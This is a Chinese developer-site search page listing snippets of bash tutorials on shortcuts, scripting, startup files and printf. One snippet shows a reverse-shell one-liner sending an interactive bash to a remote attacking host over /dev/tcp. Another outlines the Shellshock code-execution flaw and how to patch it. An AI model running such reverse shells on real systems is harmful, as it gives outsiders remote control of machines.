首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏从零开始的linux

    bash

    mingetty] ├─nscd───7*[{nscd}] ├─ntpd ├─rsyslogd───3*[{rsyslogd}] ├─sshd───sshd───bash ───pstree └─udevd───2*[udevd] bash的快捷键 Ctrl+a: 跳至命令行首 Ctrl+e: 尾 Ctrl+u: 删除命令行首至当前光标所在处的内容

    94080发布于 2018-04-25
  • 来自专栏全栈程序员必看

    bash找不到命令_bash sed

    Centos7 默认安装了openJDK,jps命令不能使用,如果jdk是重新安装指定的版本,默认不需要重新安装jps服务 [root@maven-test ~]# jps bash: jps: command

    2.5K20编辑于 2022-09-29
  • 来自专栏BioIT爱好者

    Bash 编程

    script condexif.sh is a bash script forloop.sh is a bash script letsread.sh is a bash script manyloops.sh is a bash script math.sh is a bash script nested.sh is a bash script simpleelif.sh is a bash script simpleif.sh is a bash script simpleifelse.sh is a bash script vars.sh is a bash script While 现在我们已经有了几个 让我们运行这个脚本来找出答案: $ bash hello.sh Hello Hello Hello 函数与整个bash脚本共享许多行为,包括它们如何处理参数。通常的bash脚本参数如1、2和 #! 表示我们想使用Bash的shebang是#!/usr/bin/env bash,我们已经把它添加到脚本的开头有一段时间了!让我们重写这个程序以包含Bash shebang,然后运行这个程序。

    5.1K30发布于 2021-10-15
  • 来自专栏计算机视觉理论及其实现

    Bash Shell

    bash内置的命令type:Linux操作系统的命令分为两大类:1.内部命令、即内置在bash中的命令2.外部命令、即该命令不是内置在bash中的,外部命令以可执行文件的方式存储在Linux的文件系统中 Shell和配置文件 Bash Shell的配置与变量Linux(UNIX)用户可根据需要重新配置系统,最常用重新配置Bash Shell 的方法如下:利用局域变量来设定Bash Shell,通过别名和函数来设定 Bash Shell,通过别名和函数来设定Bash Shell,通过set命令来设定Bash Shell,通过环境变量设定Bash Shell中其他命令和应用程序。 ~/.bash_profile 和 ~/.bashrc:~/.bash_profile和~/.bashrc这两个脚本文件中主要是存放用户自己的一些设定、其中包括了用户自己定义的变量和别名。 ~/.bash_history文件存放用户使用过的命令、每个命令一行。每当用户登陆bash之后,bash就会立即将这个文件中的所有历史命令读入内存。

    2K30编辑于 2022-09-04
  • Bash 入门

    #Bash入门#HelloWorldBash的内置命令echo可以打印文本。 例如:展开代码语言:ShellAI代码解释$echo-e"Hello\nWorld"HelloWorld#命令格式Bash命令基本遵循以下格式:展开代码语言:TXTAI代码解释命令参数1参数2参数3.. Bash中的注释使用#表示,例如:展开代码语言:ShellAI代码解释$#这是注释,不会执行$echoHelloWorld#这也是注释HelloWorld只会打印HelloWorld不会打印#这也是注释如果要让 (读作shebang)是Bash中的一个特殊标记,写在脚本文件的开头,用来表示该文怎样运行。例如:demo.sh展开代码语言:BashAI代码解释#! /usr/bin/bash表示通过/usr/bin/bashdemo.sh命令解释执行demo.py展开代码语言:PythonAI代码解释#!

    19510编辑于 2025-11-24
  • 来自专栏Article

    bash 脚本 learning

    linux bash 脚本是个好东西,能用工具搞定的就尽量避免用手敲。这里记录下学习过程中的问题。 1、bash: . /bin/bash 就ok了

    82910编辑于 2022-06-14
  • 来自专栏Vamei实验室

    快速学习Bash

    变量 我们可以在Bash中输入一行的命令。Bash会把输入的命令转化为特定的动作。从这一节起,我们将看到Bash的可编程性。 Bash脚本 你还可以把多行的Bash命令写入一个文件,成为所谓的Bash脚本。当Bash脚本执行时,Shell将逐行执行脚本中的命令。编写Bash脚本,是我们开始实现Bash代码复用的第一步。 /bin/bash echo $0 echo $1 echo $2 在Bash中,你可以用$0、$1、$2……的方式,来获得Bash脚本运行时的参数。我们用下面的方式运行Bash脚本: $. Bash脚本只能和Bash进程互动。它不能像C语言一样,直接调用CPU的功能。因此,Bash能实现的功能会受限,运行速度上也比不上可执行文件。 但另一反面,Bash脚本也有它的好处。 Bash正相反。由于Bash可以便捷地调用已有的程序,因此很多工作可以用数行的脚本解决。此外,Bash脚本不需要编辑,就可以由Bash进程理解并执行。因此,开发Bash脚本比写C程序要快很多。

    2.2K60发布于 2018-01-18
  • 来自专栏nginx遇上redis

    Linux命令――bash

    bash是一个命令解释语言,能够执行读取标准输入或文件的命令,可以执行命令以及结合nc进行反弹shell 基本使用语法: bash -c 命令 root@kali:~# bash -c whoami root root@kali:~# 另外使用-i表示以交互方式运行shell,通常在目标主机上运行: bash -i >& /dev/tcp/192.168.5.1/2222 0>&1 然后另一台主机使用 目标主机: root@kali:~# bash -i >& /dev/tcp/192.168.5.1/2222 0>&1 攻击主机: 攻击主机: F:eth10-CTF-ToolkitsCTF工具包连接工具

    4K40编辑于 2022-11-30
  • 来自专栏IMWeb前端团队

    bash 的 Test

    原文 bash 中的 test 确实是一个让初学者迷糊的概念,但是理解了之后,发现它并没有深奥的地方。 expr 也是一个 bash 命令,你可以 man expr 来查看使用手册。简单的讲,这个命令执行表达式,并将结果写到标准输出。 [ expr ] 和 test expr 是等价的。 参考文章 http://www.ibm.com/developerworks/cn/linux/l-bash-test.html http://tldp.org/LDP/abs/html/testconstructs.html

    96060发布于 2017-12-29
  • 来自专栏ITCoder

    Bash Printf 命令

    image.png 本文最先发布在:https://www.itcoder.tech/posts/bash-printf-command/ 通常,在写 Bash 脚本的时候,我们使用echo来打印标准输出 一、printf 命令 printf 是一个Bash 和其他流行的 shell,例如 Zsh 和 Ksh 等内建的 shell 命令。 我们将会讲解 Bash 内建的printf版本。

    5K10发布于 2020-06-04
  • 来自专栏授客的专栏

    profile,bashrc,.bash_profile,.bash_login,.profile,.bashrc,.bash_logout浅析 Part 2

    profile,bashrc,.bash_profile,.bash_login,.profile,.bashrc,.bash_logout浅析 Part 2 by:授客 ------------ 当bash以interactive shell方式启动时: 如果存在~/.bashrc,bash从~/.bashrc中读取命令并执行 注意: 1.通过--rcfile file选项可强制bash 已登录的情况下,在字符界面下,运行命令bash -bash-4.1# bash shouke test from ~/.bashrc bash-4.1# 测试6. bash命令,然后输入exit命令 -bash-4.1# bash shouke test from ~/.bashrc bash-4.1# exit exit 以普通身份登录,登录后运行su 以--norc参数跟随的方式启动bash [root@localhost ~]# bash --norc bash-4.1# 测试10.

    1.6K10发布于 2019-09-12
  • 来自专栏友弟技术工作室

    bash及其特性

    shell:外壳 GUI:GNOME,KDE,Xfce CLI:sh,csh,ksh,bash,tcsh,zsh 程序,进程 允许一个用户登录多次 进程:在每一个进程看来,当前主机上只存在内核和当前进程 进程是程序的副本,进程是程序执行的实例 bash自身是外部命令 但是它带有自身命令 用户的工作环境: bash: shell,子shell bash---bash 某些设定bash之间互不影响(非环境变量 ) bash: 命令历史 管道,重定向 命令别名 命令行编辑 命令行展开 命令名通配 变量 编程 命令行编辑 Ctrl+a:跳到命令行首 Ctrl+e:跳到命令的行尾 Ctrl+u:删除光标到行首 /file-$(date +%F-%H-%M-%S).txt bash支持的引号: ``:命令替换 "":弱引用,可以实现变量替换 '':强引用,不完成变量替换 文件名通配,gloobbing *:

    77730发布于 2018-07-04
  • 来自专栏frytea

    Bash快捷指令

    注:本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。

    49020编辑于 2023-10-20
  • 来自专栏丑胖侠

    -bash: !: event not found

    \n" Hello world 返回结果为“-bash: !”: event not found”。 错误原因:使用printf打印“!”号时,感叹号位于单引号之内造成的。将“!”

    1.8K30编辑于 2022-05-06
  • 来自专栏Vamei实验室

    快速学习Bash

    变量 我们可以在Bash中输入一行的命令。Bash会把输入的命令转化为特定的动作。从这一节起,我们将看到Bash的可编程性。 Bash脚本 你还可以把多行的Bash命令写入一个文件,成为所谓的Bash脚本。当Bash脚本执行时,Shell将逐行执行脚本中的命令。编写Bash脚本,是我们开始实现Bash代码复用的第一步。 /bin/bash echo $0 echo $1 echo $2 在Bash中,你可以用$0、$1、$2……的方式,来获得Bash脚本运行时的参数。我们用下面的方式运行Bash脚本: $. Bash脚本只能和Bash进程互动。它不能像C语言一样,直接调用CPU的功能。因此,Bash能实现的功能会受限,运行速度上也比不上可执行文件。 但另一反面,Bash脚本也有它的好处。 Bash正相反。由于Bash可以便捷地调用已有的程序,因此很多工作可以用数行的脚本解决。此外,Bash脚本不需要编辑,就可以由Bash进程理解并执行。因此,开发Bash脚本比写C程序要快很多。

    1.6K30发布于 2018-09-25
  • 来自专栏友弟技术工作室

    bash脚本编程

    /bin/bash(可执行程序的路径) #:注释行,不执行 chmod +x *.sh ./*.sh(独立执行) bash *.sh (可以没有执行权限) 练习:写一个脚本: 1.添加5个用户, else statement4 .... fi 测试脚本是否有语法错误: bash -n file.sh bash -x 脚本 单步执行命令 编写一个脚本 /bin/bash FILE=/etc/rc.d/rc.sysconfig if [ ! /bin/bash if [ $# -eq 0 ];then echo"" exit 0 if [ ! /bin/bash if !

    1.9K30发布于 2018-07-04
  • 来自专栏涛的程序人生

    Bash循环系列

    文章目录 在一系列数字上循环 在可变的数字范围内循环 在数组上循环 在具有索引的数组上循环 循环文件的内容 循环文件和目录 在一系列数字上循环 替代 seq. # Loop from 0-100 (no variable support). for i in {0..100}; do printf '%s\n' "$i" done 在可变的数字范围内循环 替代 seq. # Loop from 0-VAR. VAR=50 for ((i=0;i<=VAR;i++)); do printf '

    54410编辑于 2021-12-06
  • 来自专栏python3

    ⒉设置 Bash 选项

    而是将结果行装入readline编辑缓冲区中,允许进一步修改 hostcomplete 如果设置,且readline正被使用,当正在完成一个包含@的词时bash将试图执行主机名补全。 默认为打开 huponexit 如果设置,当一个交互式登录shell退出时,bash将发送一个SIGHUP(挂起信号)给所有的作业 interactive_comments 在一个交互式shell中,允许以 默认为打开 lithist 如果打开,且cmdhist选项也打开,多行命令将用嵌入的换行符保存到历史中,而无需在可能的地方用分号来分隔 login_shell mailwarn 如果设置,且bash用来检查邮件的文件自从上次检查后已经被访问 ,将显示消息“The mail in mailfile has been read” no_empty_cmd_completion nocaseglob 如果设置,当执行文件名扩展时,bash在不区分大小写的方式下匹配文件名 nocasematch nullglob 如果设置,bash允许没有匹配任何文件的文件名模式扩展成一个空串,而不是它们本身 progcomp promptvars 如果设置,提示串在被扩展后再经历变量和参量扩展

    1.2K40发布于 2020-01-10
  • 来自专栏技术博文

    升级linux bash

    bash环境变量存在任意代码执行漏洞:“通过CGI请求方式可以导致远程代码执行,进而导致服务器被入侵,危害严重,且官方公布补丁也被绕过”, 【漏洞影响】: 1)bash受影响版本:3.0 ~ 4.3,小于 3.0的bash版本也可能受影响, 2)入侵方式:结合CGI方式可以导致远程代码执行,入侵服务器; 了解系统当前bash的版本 [root@test test]# bash --version GNU 对bash详细分析后得知bash在处理含有函数定义诸如”() { :;};”的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行。 6)升级bash bash下载地址:http://ftp.gnu.org/gnu/bash/ 安装升级bash wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz tar zxvf bash-4.3.tar.gz cd bash-4.3 .

    6.6K90发布于 2018-04-16
  • 来自专栏linux 学习

    BASH小知识

    BASH模式扩展1. 文件名扩展: ?和 *?的数量代表扩展的个数: ? ?? ??? 不能匹配空字符* 可以匹配多个字符和空字符文件真实存在,才可扩展出结果2.

    19710编辑于 2024-07-12
领券